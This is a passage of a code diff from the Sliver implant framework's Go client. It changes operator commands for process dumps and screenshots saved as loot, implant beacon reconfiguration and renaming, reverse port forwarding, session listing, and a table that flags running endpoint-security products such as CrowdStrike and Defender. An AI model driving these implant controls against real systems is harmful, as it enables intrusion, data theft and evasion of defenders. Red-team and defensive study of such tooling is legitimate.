@@ -82,23 +78,11 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
})
con.PrintAsyncResponse(dump.Response)
} else {
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
@@ -115,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -135,15 +119,3 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+14 -45
View File
@@ -37,42 +37,15 @@ var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -137,13 +110,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fallthrough
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -161,8 +134,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.AscNumeric},
{Name: "ppid", Mode: table.AscNumeric},
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
@@ -209,7 +182,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -218,7 +190,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -239,7 +210,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
@@ -247,7 +217,6 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
-4
View File
@@ -41,10 +41,6 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
+3 -5
View File
@@ -19,7 +19,6 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -30,10 +29,9 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -43,6 +41,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
con.PrintInfof("Saved reactions to disk\n")
}
}
-4
View File
@@ -1,4 +0,0 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
-96
View File
@@ -1,96 +0,0 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
-62
View File
@@ -1,62 +0,0 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// Option to change the agent name
name := ctx.Flags.String("name")
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return
}
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
}
-77
View File
@@ -1,77 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-55
View File
@@ -1,55 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-74
View File
@@ -1,74 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+10 -38
View File
@@ -57,10 +57,6 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -69,31 +65,11 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
PrintScreenshot(screenshot, hostname, ctx, con)
})
con.PrintAsyncResponse(screenshot.Response)
} else {
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
@@ -112,7 +88,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -127,18 +103,14 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+1 -1
View File
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
}
sort.Strings(keys)
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-2
View File
@@ -111,8 +111,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+1 -1
View File
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, ctx, con)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
+69
View File
@@ -0,0 +1,69 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
// Option to change the agent name
name := ctx.Flags.String("name")
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Name must be in alphanumeric only\n")
return
}
}
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(session, nil)
}
+29 -103
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -32,7 +31,6 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -52,12 +50,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
return
}
@@ -66,12 +64,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
}
return
@@ -82,7 +80,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -98,23 +96,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, filter, filterRegex, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -122,41 +109,20 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -176,57 +142,17 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
if session.Burned {
burned = "🔥"
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
burned + SessionHealth,
}
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
